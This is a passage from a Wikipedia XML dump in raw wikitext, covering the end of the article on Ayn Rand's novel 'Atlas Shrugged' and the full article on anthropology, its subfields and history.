Rand suggests that society stagnates when independence and individual achievement are discouraged or demonized, and that, inversely, a society will become more prosperous as it allows, encourages, and rewards independence and individual achievement. Rand believed that independence flourishes to the extent that people are free, and that achievement is rewarded best when [[private property]] is respected strictly. She advocated [[Laissez-faire|laissez-faire capitalism]] as the [[political system]] that is most consistent with these beliefs. These considerations make ''Atlas Shrugged'' a highly political book, especially in its portrayal of [[fascism]], [[socialism]] and [[communism]], or indeed any form of state intervention in societal affairs, as fatally flawed. However, Rand claimed that it is not a ''fundamentally'' political book, but that the politics portrayed in the novel are a result of her attempt to display her image of the ideal man and the position of the human mind in society.

Rand argues that independence and individual achievement drive the world, and should be embraced. Her worldview requires a &quot;[[rationality|rational]]&quot; [[moral code]]. She disputes the notion that [[self-sacrifice]] is a virtue, and is similarly dismissive of human faith in a [[divinity|god]] or higher being. The book positions itself against [[Christianity]] specifically, often directly within the characters' dialogue.

== Setting ==

Exactly when ''Atlas Shrugged'' is meant to take place is kept deliberately vague. In [[Wikibooks:Structure of Atlas Shrugged|section]] 152, the population of [[Places in Atlas_Shrugged|New York City]] is given as 7 [[million]]. The historical New York City reached 7 million people in the [[1930s]], which might place the novel sometime after that. There are many early [[20th century]] technologies available, but the political situation is clearly different from actual history. One interpretation is that the novel takes place a hundred (or perhaps ''hundreds'') of years in the future, implying that since the world lapsed into its socialistic morass, a global-wide stagnation has occurred in technological growth, population growth, and indeed growth of ''any'' kind; the wars, economic depressions, and other events of the 20th century would be a distant memory to all but [[scholar]]s and [[academician]]s. This would be in line with Rand's ideas and commentary on other novels depicting utopian and dystopian societies. Furthermore, this is also in line with an excerpt from a 1964 interview with ''Playboy'' magazine in which Rand states &quot;What we have today is not a capitalist society, but a mixed economy -- that is, a mixture of freedom and controls, which, by the presently dominant trend, is moving toward dictatorship. The action in ''Atlas Shrugged'' takes place at a time when society has reached the stage of dictatorship. When and if this happens, that will be the time to go on strike, but not until then.&quot;, thus implying that her novel takes place at some point in the future. The concept of societal stagnation in the wake of collectivist systems is central to the plot of another of Rand's works, ''[[Anthem (novella)|Anthem]]''.

All countries outside the US have become, or become during the novel, &quot;People's States&quot;. There are many examples of early 20th century [[Technology in Atlas_Shrugged|technology]] in ''Atlas Shrugged'', but no post-war advances such as [[nuclear weapon]]s, [[helicopter]]s, or [[computer]]s. [[Jet plane]]s are mentioned briefly as being a relatively new technology. [[Television]] is a novelty that has yet to assume any cultural significance, while [[radio]] broadcasts are prominent. Though Rand does not use in the book many of the technological innovations available while she was writing, she introduces some advanced, fictional inventions (e.g., sound-based [[weapons of mass destruction|weapons of mass destruction]], torture devices, as well as power plants).

Most of the action in ''Atlas Shrugged'' occurs in the [[Places in Atlas_Shrugged|United States]]. However, there are important events around the world, such as in the People's States of [[Mexico]], [[Chile]], and [[Argentina]], and [[piracy]] at sea.

==Plot==

A section by section analysis of ''Atlas Shrugged'' is available on [[Wikibooks:Atlas Shrugged|Wikibooks]].

The novel’s plot, split into three sections (though the story is coherent apart from these,) is extremely complex. The first two sections, and to some extent the last, follow Dagny Taggart, a no-nonsense railroad executive, and her attempt to keep the company alive despite the fact that society is falling towards collectivism/altruism/statism. All throughout the novel people repeat a platitude Dagny greatly resents: ‘Who is John Galt?’ It is a reflection of their helplessness, as the saying means ‘Don’t ask important questions, because they don’t have answers.’ 

The geniuses of the world seem to be disappearing, and the apparent decline of civilization is making it more and more difficult for her to sustain her life-long aspirations of running the trans-continental railroad, which has been in her family for several generations. She deals with other characters such as Hank Rearden, a self-made businessman of great integrity whose career is hindered by his false feelings of obligation towards his wife. Francisco d'Anconia, Dagny’s childhood friend, first love, and king of the copper industry, appears to have become a worthless playboy who is purposely destroying his business. 

As the novel progresses: the myths about the real John Galt, as well as Francisco d'Anconia’s actions, become more and more a reflection of the state of the culture, and seem to make more and more sense; and, Hank and Dagny begin to experience the futility of their attempts to survive in a society that hates them and those like them for their greatness. 

During their plight, Dagny and Hank find the remnants of a motor that turns atmospheric energy into kinetic energy, an astounding feat; they also find evidence that the minds (the ‘Atlases’) of the world are disappearing because of one particular ‘destroyer’ taking them away. Dagny and Hank deal with the irrationalities and apparent contradictions of their atmosphere, and search for the creator of the motor as well as ‘the destroyer’ who is draining the world of its prime movers, in an effort to secure their ability to live rational lives.

All of this leads to an elaborate action-based explanation and eventual climax, presenting an understanding of all of the issues explored, and breaking everything down into one basic conflict. The final parts of the novel involve a speech by the story's true protagonist, and a resolution concerning the fate of society. The question 'Who is John Galt' is also answered.

* [[Characters in Atlas Shrugged|Characters]]
** [[Minor Characters in Atlas Shrugged|Minor Characters]]
* [[Companies in Atlas Shrugged|Companies]]
* [[Concepts in Atlas Shrugged|Concepts]]
* [[Places in Atlas_Shrugged|Places]]
* [[Technology in Atlas_Shrugged|Technology]]
* [[Things in Atlas_Shrugged|Things]]
* [[Topics of note in Atlas Shrugged|Topics of note]]

==Film adaptation==
Rights to the novel ''Atlas Shrugged'' were purchased by the Baldwin Entertainment Group in [[2003]] with the intent of producing a feature-length film. Company leader [[Howard Baldwin]] was quoted in September 2004 as saying &quot;...everything is on track and [the movie] hasn’t been held up one bit... I assure you that this will be a big movie and ''it will get made''.&quot; Two works of Rand's&amp;mdash;''[[The Fountainhead]]'' and ''[[We the Living]]''&amp;mdash;have been adapted into movies so far.

==External links==
* http://www.aynrand.org
* http://www.atlassociety.org/news_atlas-movie-updated050304.asp
* http://www.cordair.com/gaetano/index.htm

==References and further reading==

===Publications===

* ''Atlas Shrugged'', Ayn Rand; Signet; (September 1996) ISBN 0451191145
* ''Atlas Shrugged (Cliffs Notes)'', Andrew Bernstein; [[Cliffs Notes]]; (June 5, 2000) ISBN 0764585568 
* ''The World of Atlas Shrugged'', Robert Bidinotto/The Objectivist Center; HighBridge Company; (April 19, 2001) ISBN 156511471X 
* ''Atlas Shrugged: Manifesto of the Mind (Twayne's Masterwork Studies, No. 174)'' Mimi Reisel Gladstein; Twayne Pub; (June 2000) ISBN 0805716386 
* ''The Moral Revolution in Atlas Shrugged'', [[Nathaniel Branden]]; The Objectivist Center; (July 1999) ISBN 1577240332 
* ''Odysseus, Jesus, and Dagny'', Susan McCloskey; The Objectivist Center; (August 1, 1998) ISBN 1577240251

=== Foreign translations ===

* [[German language|German]]: ''Wer ist John Galt?'' (Hamburg, Germany: GEWIS Verlag), ISBN 3-932-56403-0.
* [[Italian language|Italian]]: ''La rivolta di Atlante'', 2 vol. (Milano, Garzanti, 1958), Out of print. Translator: Laura Grimaldi
* [[Japanese language|Japanese]]: ''肩をすくめるアトラス'' 　(ビジネス社), ISBN 4-8284-1149-6. Translator: 脇坂 あゆみ.
* [[Norwegian language|Norwegian]]: ''De som beveger verden''. (Kagge Forlag, 2000), ISBN 8-248-90083-5 (hardcover), ISBN 8-248-90169-6 (paperback). Translator: John Erik Bøe Lindgren.
* [[Polish language|Polish]]: ''Atlas Zbuntowany'' (Zysk i S-ka, 2004), ISBN 83-7150-969-3 (Twarda). Translator: Iwona Michałowska.
* [[Spanish language|Spanish]]: ''La Rebelion de Atlas.'' (Editorial Grito Sagrado), ISBN 9-872-09510-8 (hardcover), ISBN 9-872-09511-6 (paperback).
* [[Swedish language|Swedish]]: ''Och världen skälvde.'' ([http://www.timbro.se/rand/ Timbro Förlag], 2005), ISBN 9-175-66556-5. Translator: Maud Freccero.
* [[Turkish language|Turkish]]: ''Atlas Vazgeçti.'' (Plato Yay&amp;#305;nlar&amp;#305;, 2003), ISBN 9-759-67726-1. Translator: Belk&amp;#305;s Çorapç&amp;#305;.

===Reviews===

*{{note|geoff}} [http://www.cix.co.uk/~morven/atlas.html Review] from a self-proclaimed non-Libertarian
*{{note|weird-bookshelf}} [http://www.strangewords.com/archive/ayn.html Review] from the Weird Bookshelf (&quot;fine science fiction books&quot;).
*{{note|Slade}} Slade, Robert M. [http://victoria.tc.ca/int-grps/books/techrev/bkatshrg.rvw Review] from the Internet Review Project (1998).
*{{note|pierssen}} [http://www.pierssen.com/cfile/objectivist.htm A review] which, while attempting to address the environmentalist issues, claims that ''Atlas Shrugged'' is a sequel to ''[[The Lord of the Rings]].''
*{{note|analysis}} [http://atlasshruggednovel.blogspot.com A Review] and in-depth Chapter-by-Chapter, Motif-by-Motif, etc. analysis.

===Satires and parodies===
*[http://kamita.com/misc/illuminatus/illuminatus.html &quot;Telemachus Sneezed&quot;] within Robert Anton Wilson's [[Illuminatus! Trilogy]] (Search for &quot;Taffy Rhinestone&quot; in the former link to read the spoof.)
*[http://www.spudworks.com/article/66/2/ The Abridged ''Atlas Shrugged''] - a thousand pages distilled into about a thousand words.
*[http://www.modernhumorist.com/mh/0101/rand/ Atlas Shr], a look at [[parallel universe (fiction)|parallel universe]]s wherein all of Ayn Rand's books are four hundred pages shorter
*''Elvis Shrugged'', an early '90s comic book miniseries published by Revolutionary Comics in which popular entertainers [[Elvis Presley]], a cyborg [[Frank Sinatra]], [[Frank Zappa]], [[Madonna (entertainer)|Madonna]], [[Spike Lee]], and others take the place of various ''Atlas Shrugged'' counterparts.
*[http://www.mskousen.com/Books/Articles/shrugged.html Oscar Shrugged], a depiction of the first film festival held in Galt's Gulch
*[http://www.angryflower.com/atlass.gif ''Atlas Shrugged 2: One Hour Later''], starring Bob the Angry Flower



[[Category:1957 books]]
[[Category:Atlas Shrugged]]
[[Category:Novels]]
[[Category:Philosophical novels]]
[[Category:Books critical of Christianity]]
[[Category:Books by Ayn Rand]]

[[de:Atlas wirft die Welt ab]]
[[es:La Rebelion de Atlas]]
[[he:מרד הנפילים]]
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[[zh:阿特拉斯摆脱重负]]</text>
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  </page>
  <page>
    <title>Anthropology</title>
    <id>569</id>
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      <text xml:space="preserve">'''Anthropology''' (from the [[Greek language|Greek]] word ''άνθρωπος'', &quot;human&quot; or &quot;person&quot;) consists of the study of [[humanity]] (see genus ''[[Homo (genus)|Homo]]'').  It is [[holism|holistic]] in two senses: it is concerned with all humans at all times and with all dimensions of humanity.  A primary trait that traditionally distinguished anthropology from other humanistic disciplines is an emphasis on cultural relativity, indepth examination of context, and cross cultural comparisons.  

In [[North America]], &quot;anthropology&quot; is traditionally divided into four sub-disciplines: 
* [[physical anthropology]] or [[biological anthropology]], which studies [[primatology|primate behavior]], [[human evolution]], [[osteology]], [[forensics]] and [[population genetics]]; 
* [[cultural anthropology]], (called [[social anthropology]] in the [[United Kingdom]] and now often known as [[socio-cultural anthropology]]).  Areas studied by cultural anthropologists include social networks, [[diffusion (anthropology)|diffusion]], social behavior, [[kinship]] patterns, law, politics, [[ideology]], religion, beliefs, patterns in production and consumption, exchange, socialization, gender, and other expressions of culture, with strong emphasis on the importance of [[fieldwork]] or participant-observation (i.e living among the social group being studied for an extended period of time); 
* [[linguistic anthropology]], which studies variation in [[language]] across time and space, the social uses of language, and the relationship between language and culture; and
* [[archaeology]], that studies the material remains of human [[society|societies]]. Archaeology itself is normally treated as a separate (but related) field in the rest of the world, although closely related to the anthropological field of [[material culture]], which deals with physical objects created or used within a living or past group as mediums of understanding its cultural values.

More recently, some anthropology programs began dividing the field into two, one emphasizing the [[humanities]] and [[critical theory]], the other emphasizing the [[natural science]]s and [[empiricism|empirical observation]].

==Historical and institutional context==
:''Main Article: [[History of anthropology]]''
The anthropologist [[T J Brewer]] once characterized anthropology as the most scientific of the humanities, and the most humanistic of the sciences.  Understanding how anthropology developed contributes to understanding how it fits into other academic disciplines.

Contemporary anthropologists claim a number of earlier thinkers as their forebearers and the discipline has several sources. However, anthropology can best be understood as an outgrowth of the [[Age of Enlightenment]]. It was during this period that Europeans attempted systematically to study human behavior. Traditions of [[jurisprudence]], [[history]], [[philology]] and [[sociology]] developed during this time and informed the development of the [[social sciences]] of which anthropology was a part. At the same time, the [[romanticism|romantic]] reaction to the Enlightenment produced thinkers such as [[Herder]] and later [[Wilhelm Dilthey]] whose work formed the basis for the culture concept which is central to the discipline.

Institutionally anthropology emerged from [[natural history]] (expounded by authors such as [[Georges-Louis Leclerc, Comte de Buffon|Buffon]]). This was the study of human beings - typically people living in European [[colonialism|colonies]]. Thus studying the language, culture, physiology, and artifacts of European colonies was more or less equivalent to studying the flora and fauna of those places. It was for this reason, for instance, that [[Lewis Henry Morgan]] could write monographs on both ''The League of the Iroquois'' and ''The American Beaver and His Works''. This is also why the material culture of 'civilized' nations such as China have historically been displayed in fine arts museums alongside European art while artifacts from Africa or Native North American cultures were displayed in Natural History Museums with dinosaur bones and nature dioramas. This being said, curatorial practice has changed dramatically in recent years, and it would be wrong to see anthropology as merely an extension of colonial rule and European [[chauvinism]], since its relationship to [[imperialism]] was and is complex.

Anthropology grew increasingly distinct from natural history and by the end of the nineteenth century the discipline began to crystallize into its modern form - by 1935, for example, it was possible for T.K. Penniman to write a history of the discipline entitled ''A Hundred Years of Anthropology''. Early anthropology was dominated by 'the comparative method'. It was assumed that all societies passed through a single evolutionary process from the most primitive to most advanced. Non-European societies were thus seen as evolutionary 'living fossils' that could be studied in order to understand the European past. Scholars wrote histories of prehistoric migrations which were sometimes valuable but often also fanciful. It was during this time that Europeans first accurately traced [[polynesia|Polynesian]] migrations across the [[Pacific Ocean]] for instance - although some of them believed it originated in [[Egypt]]. Finally, the concept of [[race]] was actively discussed as a way to classify - and rank - human beings based on inherent biological difference.

In the twentieth century academic disciplines began to organize around three main domains. The &quot;[[sciences]]&quot; seeks to derive natural laws through reproducible and falsifiable experiments. The &quot;[[humanities]]&quot; reflected an attempt to study different national traditions, in the form of [[history]] and the [[art]]s, as an attempt to provide people in emerging nation-states with a sense of coherence. The &quot;[[social sciences]]&quot; emerged at this time as an attempt to develop scientific methods to address social phenomena, in an attempt to provide a universal basis for social knowledge. Anthropology does not easily fit into one of these categories, and different branches of anthropology draw on one or more of these domains.

Drawing on the methods of the [[natural science]]s as well as developing new techniques involving not only structured interviews but unstructured &quot;participant-observation&quot; – and drawing on the new [[theory of evolution]] through [[natural selection]], they proposed the scientific study of a new object: &quot;humankind,&quot; conceived of as a whole.  Crucial to this study is the concept &quot;culture,&quot; which anthropologists defined both as a universal capacity and propensity for social learning, thinking, and acting (which they see as a product of human evolution and something that distinguishes Homo sapiens – and perhaps all species of genus ''[[Hominoid|Homo]]'' – from other species), and as a particular adaptation to local conditions that takes the form of highly variable beliefs and practices.  Thus, &quot;culture&quot; not only transcends the opposition between nature and nurture; it transcends and absorbs the peculiarly European distinction between politics, religion, kinship, and the economy as autonomous domains.  Anthropology thus transcends the divisions between the natural sciences, social sciences, and humanities to explore the biological, linguistic, material, and symbolic dimensions of humankind in all forms.

==Anthropology in the U.S.==
Anthropology in the United States was pioneered by staff of the Bureau of Indian Affairs and the Smithsonian Institution's Bureau of American Ethnology, such as John Wesley Powell and Frank Hamilton Cushing.  Academic Anthropology was established by [[Franz Boas]], who used his positions at [[Columbia University]] and the [[American Museum of Natural History]] to train and develop multiple generations of students. Boasian anthropology was politically active and suspicious of research dictated by the U.S. government or wealthy patrons. It was also rigorously empirical and skeptical of over-generalizations and attempts to establish universal laws. Boas studied immigrant children in order to demonstrate that biological race was not immutable and that human conduct and behavior was the result of nurture rather than nature. 

Drawing on his German roots, he argued that the world was full of distinct 'cultures' rather than societies whose evolution could be measured by how much or how little 'civilization' they had. Boas felt that each culture has to be studied in its particularity, and argued that cross-cultural generalizations like those made in the [[natural science]]s were not possible. In doing so Boas fought discrimination against immigrants, African Americans, and Native North Americans. Many American anthropologists adopted Boas' agenda for social reform, and theories of race continue to be popular targets for anthropologists today.

Boas's first generation of students included [[Alfred Kroeber]], [[Robert Lowie]], [[Edward Sapir]] and [[Ruth Benedict]]. All of these scholars produced richly detailed studies which described Native North America. In doing so they provided a wealth of details used to attack the theory of a single evolutionary process. Kroeber and Sapir's focus on Native American languages also helped establish [[linguistics]] as a truly general science and free it from its historical focus on [[Indo-European languages]].

The publication of [[Alfred Kroeber]]'s textbook ''Anthropology'' marked a turning point in American anthropology. After three decades of amassing material the urge to generalize grew. This was most obvious in the 'Culture and Personality' studies carried out by younger Boasians such as [[Margaret Mead]] and [[Ruth Benedict]]. Influenced by psychoanalytic psychologists such as [[Sigmund Freud]] and [[Carl Jung]], these authors sought to understand the way that individual personalities were shaped by the wider cultural and social forces in which they grew up. While such works as ''Coming of Age in Samoa'' and ''The Chrysanthemum and the Sword'' remain popular with the American public, Mead and Benedict never had the impact on the discipline of anthropology that some expected. Boas had planned for Ruth Benedict to succeed him as chair of Columbia's anthropology department, but she was sidelined by [[Ralph Linton]] and Mead was limited to her offices at the [[American Museum of Natural History|AMNH]].

==Anthropology in Britain==
Whereas Boas picked his opponents to pieces through attention to detail, in Britain modern anthropology was formed by rejecting historical reconstruction in the name of a science of society that focused on analyzing how societies held together in the present.

The two most important names in this tradition were [[Alfred Reginald Radcliffe-Brown]] and [[Bronislaw Malinowski]], both of whom released seminal works in 1922. Radcliffe-Brown's initial fieldwork in the [[Andaman Islands]] was carried out in the old style, but after reading [[Émile Durkheim]] he published an account of his research (entitled simply ''The Andaman Islanders'') which drew heavily on the French sociologist. Over time he developed an approach known as structural-functionalism, which focused on how institutions in societies worked to balance out or create an equilibrium in the social system to keep it functioning harmoniously. [[Bronislaw Malinowski|Malinowski]], on the other hand, advocated an unhyphenated 'functionalism' which examined how society functioned to meet individual needs. Malinowski is best known not for his theory, however, but for his detailed [[ethnography]] and advances in methodology. His classic ''Argonauts of the Western Pacific'' advocated getting 'the native's point of view' and an approach to field work that became standard in the field.

Malinowski and Radcliffe-Brown's success stem from the fact that they, like Boas, actively trained students and aggressively built up institutions which furthered their programmatic ambitions. This was particularly the case with Radcliffe-Brown, who spread his agenda for 'Social Anthropology' by teaching at universities across the [[Commonwealth of Nations|Commonwealth]]. From the late 1930s until the post-war period a string of monographs and edited volumes appeared which cemented the paradigm of British Social Anthropology. Famous ethnographies include ''The Nuer'' by [[Edward Evan Evans-Pritchard]] and ''The Dynamics of Clanship Among the Tallensi'' by [[Meyer Fortes]], while well known edited volumes include ''African Systems of Kinship and Marriage'' and ''African Political Systems''.

==Anthropology in France==
Anthropology in France has a less clear genealogy than the British and American traditions. Most commentators consider [[Marcel Mauss]] to be the founder of the French anthropological tradition. Mauss was a member of [[Émile Durkheim|Durkheim's]] [[Annee Sociologique]] group, and while Durkheim and others examined the state of modern societies, Mauss and his collaborators (such as [[Henri Hubert]] and [[Robert Hertz]]) drew on ethnography and philology to analyze societies which were not as 'differentiated' as European nation states. In particular, Mauss's ''Essay on the Gift'' was to prove of enduring relevance in anthropological studies of [[trade|exchange]] and [[reciprocity (cultural anthropology)|reciprocity]].

Throughout the interwar years, French interest in anthropology often dovetailed with wider cultural movements such as [[surrealism]] and [[primitivism (art movement)|primitivism]] which drew on ethnography for inspiration. [[Marcel Griaule]] and [[Michel Leiris]] are examples of people who combined anthropology with the French avant-garde. During this time most of what is known as ''ethnologie'' was restricted to museums, and anthropology had a close relationship with studies of [[folklore]].

Above all, however, it was [[Claude Lévi-Strauss]] who helped institutionalize anthropology in France. In addition to the enormous influence his [[structuralism]] exerted across multiple disciplines, Lévi-Strauss established ties with American and British anthropologists. At the same time he established centers and laboratories within France to provide an institutional context within anthropology while training influential students such as [[Maurice Godelier]] and [[Francoise Heritier]] who would prove influential in the world of French anthropology. Much of the distinct character of France's anthropology today is a result of the fact that most anthropology is carried out in nationally-funded research laboratories rather than academic departments in universities.

==Anthropology after World War Two==
Before [[World War II|WWII]] British 'social anthropology' and American 'cultural anthropology' were still distinct traditions. It was after the war that the two would blend to create a 'sociocultural' anthropology.

In the 1950s and mid-1960s anthropology tended increasingly to model itself after the [[natural science]]s. Some, such as [[Lloyd Fallers]] and [[Clifford Geertz]], focused on processes of modernization by which newly independent states could develop. Others, such as [[Julian Steward]] and [[Leslie White]] focused on how societies evolve and fit their ecological niche - an approach popularized by [[Marvin Harris]]. [[Economic anthropology]] as influenced by [[Karl Polanyi]] and practiced by [[Marshall Sahlins]] and [[George Dalton]] focused on how traditional [[economics]] ignored cultural and social factors. In England, British Social Anthropology's paradigm began to fragment as [[Max Gluckman]] and [[Peter Worsley]] experimented with Marxism and authors such as [[Rodney Needham]] and [[Edmund Leach]] incorporated Lévi-Strauss's structuralism into their work.

Structuralism also influenced a number of development in 1960s and 1970s, including [[cognitive anthropology]] and componential analysis. Authors such as [[David Schneider]], [[Clifford Geertz]], and [[Marshall Sahlins]] developed a more fleshed-out concept of culture as a web of meaning or signification, which proved very popular within and beyond the discipline. In keeping with the times, much of anthropology became politicized through the [[Algerian War of Independence]] and opposition to the [[Vietnam War]]; [[Marxism]] became a more and more popular theoretical approach in the discipline. By the 1970s the authors of volumes such as ''Reinventing Anthropology'' worried about anthropology's relevance.

In the 1980s issues of power, such as those examined in [[Eric Wolf]]'s ''Europe and the People Without History'' - were central to the discipline. Books like ''Anthropology and the Colonial Encounter'' pondered anthropology's ties to colonial inequality, while the immense popularity of theorists such as [[Antonio Gramsci]] and [[Michel Foucault]] moved issues of power and hegemony into the spotlight. Gender and sexuality became a popular topic, as did the relationship between history and anthropology, influenced by [[Marshall Sahlins]] (again) who drew on [[Claude Lévi-Strauss|Lévi-Strauss]] and [[Fernand Braudel]] to examine the relationship between social structure and individual agency. 

In the late 1980s and 1990s authors such as [[George Marcus]] and [[James Clifford]] pondered ethnographic authority, particularly how and why anthropological knowledge was possible and authoritative. Ethnographies became more reflexive, explicitly addressing the author's methodology and cultural positioning, and its influence on their ethnographic analysis. This was part of a more general trend of [[postmodernism]] that was popular contemporaneously. Currently anthropologists have begun to pay attention to globalization, medicine and biotechnology, indigenous rights, and the anthropology of Europe.

==Politics of anthropology==
Anthropology's traditional involvement with nonwestern cultures has involved it in politics in many different ways. 

Some political problems arise simply because anthropologists usually have more power than the people they study. Some have argued that the discipline is a form of colonialist theft in which the anthropologist gains power at the expense of subjects. The anthropologist, they argue, can gain yet more power by exploiting knowledge and artifacts of the people he studies while the people he studies gain nothing, or even lose, in the exchange. An example of this exploitative relationship can been seen in the collaboration in Africa prior to World War II of British anthropologists (such as Fortes) and colonial forces. More recently, there have been newfound concerns about bioprospecting, along with struggles for self-representation for native peoples and the repatriation of indigenous remains and material culture.

Other political controversies come from American anthropology's emphasis on cultural relativism and its long-standing antipathy to the concept of race. The development of [[sociobiology]] in the late 1960s was opposed by cultural anthropologists such as [[Marshall Sahlins]], who argued that these positions were reductive.  While authors such John Randal Baker continued to develop the biological concept of race into the 1970s, the rise of genetics has proven to be central to developments on this front. Recently, [[Kevin B. MacDonald]] criticized Boasian anthropology as part of a &quot;Jewish strategy to facilitate mass immigration and to weaken the West&quot; ([[The Culture of Critique]],2002). As genetics continues to advance as a science some anthropologists such as Luca [[Cavalli-Sforza]] have continued to transform and advance notions of race through the use of recent developments in genetics, such as tracing past migrations of peoples through their mitcochondial and Y-chromosomal DNA, and [[ancestry-informative marker]]s.

Finally, anthropology has a history of entanglement with government intelligence agencies and anti-war politics. Boas publicly objected to US participation in [[World War I]] and the collaboration of some anthropologists with US intelligence. In contrast, many of Boas' anthropologist contemporaries were active in the war effort in some form, including dozens who served in the [[Office of Strategic Services]] and the Office of War Information. In the 1950s, the [[American Anthropological Association]] provided the [[CIA]] information on the area specialities of its members, and a number of anthropologists participated in the U.S. government's [[Operation Camelot]] during the war in Vietnam. At the same time, many other anthropologists were active in the antiwar movement and passed resolutions in the [[American Anthropological Association]] (AAA) condemning anthropological involvement in covert operations. Anthropologists were also vocal in their opposition to the war in Iraq, although there was no consensus amongst practitioners of the discipline.  

Professional anthropological bodies often object to the use of anthropology for the benefit of the [[state]]. Their codes of ethics or statements may proscribe anthropologists from giving secret briefings. The British Association for Social Anthropology has called certain scholarships ethically dangerous. For example, the British Association for Social Anthropology has condemned the [[CIA]]'s Pat Roberts Intelligence Scholars Program[http://avenue.org/ngic/about_prisp.htm], which funds anthropology students at US universities in preparation for them to spy for the [[United States]] government. The AAA's current 'Statement of Professional Responsibility' clearly states that &quot;in relation with their own government and with host governments... no secret research, no secret reports or debriefings of any kind should be agreed to or given.&quot;




Anthropology is the study of human diversity--diversity of body and behavior, in the past and present.  Anthropology consists of four subfields or subdisciplines:

'''Physical anthropology'''--studies the diversity of the human body in the past and present. It includes how we acquired the structure of our body over time, that is human evolution, as well as differences and relationships between human populations today and their adaptations to their local environments.  It also sometimes includes the evolution and diversity of our nearest relatives, the primates (apes and monkeys).

'''Cultural anthropology'''--studies the diversity of human behavior in the present.  This is what most anthropologists do and what most of the public sees when they look at &quot;National Geographic&quot; magazine or the &quot;Discovery&quot; channel on TV.  Cultural anthropologists travel to foreign societies (although it is possible to do anthropology on your own society!), live among the people there, and try as much as they can to understand how those people live.

'''Archaeology'''--studies the diversity of human behavior in the past.  Since it studies how people lived in the past, these people are not available for us to visit and talk to...or at least, not people who are currently living in the same way that their ancestors did in the past.  Therefore, archaeologists must depend on the artifacts and features that the people produced in the past and attempt to reconstruct their vanished way of life from the remnants of their culture.

'''Linguistic anthropology'''--studies the diversity of human language in the past and present.  While language is naturally a part of culture, it is such a huge topic that anthropologists have separated it into its own area of study.  Linguistic anthropologists are concerned about the development of languages, perhaps even back to the first forms of language, and how language changes over time.  They are also interested in how different contemporary languages differ today, how they are related, and how we can learn about things like migration and diffusion from that data.  They also ask how language is related to and reflects on other aspects of culture.

Other sciences study humans too, of course.  History, economics, psychology, sociology, even biology and chemistry can study humans. How is anthropology different?

The answer is the anthropological perspective, that is, the way that anthropology approaches the subject and thinks about or studies humans and their behavior.  The anthropological perspective has three components:

(1) Cross-cultural or comparative--anthropology investigates humans in every form that they take.  We are interested to see the entire spectrum of human bodies and behaviors, trying to learn the range of humanity--all the ways that we can be human.  By seeing humans in their every manifestation, and comparing those manifestations to each other, we can ask what is possible for humans and what is necessary for humans.

(2) Holistic--anthropology tries to relate every part of culture to every other part.  It understands that the various parts of culture are connected to each other and that certain combinations tend to occur or not to occur (for example, there are no hunting and gathering cultures that traditionally lived in cities...that's just impossible!).  We are also interested in how a people's cultures is connected to their environment; again, without high technology, you are not going to see farming or cities in the middle of the desert or the arctic.

(3) Relativistic--this is the most profound yet controversial part of the anthropological perspective.  Relativism means that the rules or norms or values of a culture are relative to that specific culture.  In other words, say, monogamy may be normal or preferred in one culture, but polygamy may be normal or preferred in another.  The point is that different cultures believe different things or value different things or even mean different things with perhaps identical-looking behaviors or objects. 

When you go to another culture, or even just interact with another culture (for example, when you are doing international business), you cannot assume that other people understand things the same way you do.  In fact, you should assume that they don't! Anthropology counsels against hasty judgement of a new culture: aspects that a Western visitor may find strange or distasteful can be understood when situated within that culture's history and cosmology (understanding of the world). There will be a rationality for the phenomenon; it may be 'rational', however, according to a cultural logic that conflicts with Western understandings.  Malinowski's primacy of seeking to understand &quot;the native point of view&quot; remains fundamental to socio-cultural anthropology today.

The point is that, if we want to understand other people properly, we must see what their behaviors or words or concepts mean to them, not what they would mean to us. Meaning is relative to the culture that creates that meaning.  This is not to say that all things are true or even that all things are good - cultural relativism does not necessarily entail moral relativism. Indeed, the American Anthropological Association's qualified support (1948; 1997) for the Universal Declaration of Human Rights, as well as work by Sally Engle Merry, shows the latter is not a common anthropological point of view.

How does anthropology study culture?

One other way that anthropology is unique among the sciences that study humans is by its emphasis on 'fieldwork'  You cannot get to know another culture just by reading about it or watching movies about it.  At best, you could learn what other people have already discovered, but you could not learn anything new.  So anthropology requires actually going to that society and living within their culture as much as possible.  This is called [[Participant observation|participant observation]]. This depends crucially on finding (preferrably friendly) informants within the society, who will teach you their culture's rules of social behaviour, and include you in their activities.  Then, as much as possible, you will try to eat their food, speak their language, and live their lives, often actually residing with a family in that society.  It is not easy work, and it is not always fun, but there is no better way to learn.

==Anthropological fields and subfields==
*[[Biological anthropology]] (also [[Physical anthropology]])
**[[Forensic anthropology]]
**[[Paleoethnobotany]]
*[[Cultural anthropology]] (also [[Social anthropology]])
**[[Anthropology of art]]
**[[Applied anthropology]]
**[[Cross-Cultural Studies]] 
**[[Cyber anthropology]]
**[[Development anthropology]]
**[[Dual inheritance theory]]
**[[Environmental anthropology]]
**[[Economic anthropology]]
**[[Ecological anthropology]]
**[[Ethnography]]
**[[Ethnomusicology]]
**[[Feminist anthropology]]
**[[Gender]]
**[[Human behavioral ecology]]
**[[Medical anthropology]]
**[[Psychological anthropology]]
**[[Political anthropology]]
**[[Anthropology of religion]]
**[[Public anthropology]]
**[[Urban anthropology]]
**[[Visual anthropology]]

*[[Anthropological linguistics|Linguistic anthropology]]
**[[Descriptive linguistics|Synchronic linguistics]] (or Descriptive linguistics)
**[[Diachronic linguistics]] (or [[Historical linguistics]])
**[[Ethnolinguistics]]
**[[Sociolinguistics]]

*[[Archaeology]]

==External links==
*[http://www.aaanet.org/ The American Anthropological Association Homepage] - the webpage of the largest professional organization of anthropologists in the world.
*[http://www.worldcatlibraries.org/wcpa/ow/09dbb3346fc1c2a4.html Race] - a book by John Randal Baker discussing the origins of racial classification and oppositions to the concept.
*[http://www.antropologi.info Anthropology.Info]
*[http://www.thenation.com/doc.mhtml?i=20001120&amp;c=2&amp;s=price Anthropologists as Spies] - an article by David Price examining the relationship between American Anthropology and US intelligence services.
*[http://news.bbc.co.uk/2/hi/uk_news/education/4603271.stm Pat Roberts Intelligence Program] - a BBC article on the program
*[http://www.antropologi.info/blog/anthropology Social and Cultural Anthropology in the News] - (nearly) daily updated blog
*[http://www.anthrobase.com Anthrobase.com]  - Collection of anthropological texts
*[http://www.cybercultura.it Cybercultura]  - Collection of web resources about anthropology of cyberspace (in Italian)
*[http://www.anthropology.net Anthropology.net] - A community orientated anthropology web portal with user run blogs, forums, tags, and a wiki.
*[http://sscl.berkeley.edu/~afaweb/reviews/index.html Association for Feminist Anthropology]

==See also== 
* [[List of anthropologists]]
* [[List of publications in biology#Anthropology|Important publications in anthropology]]
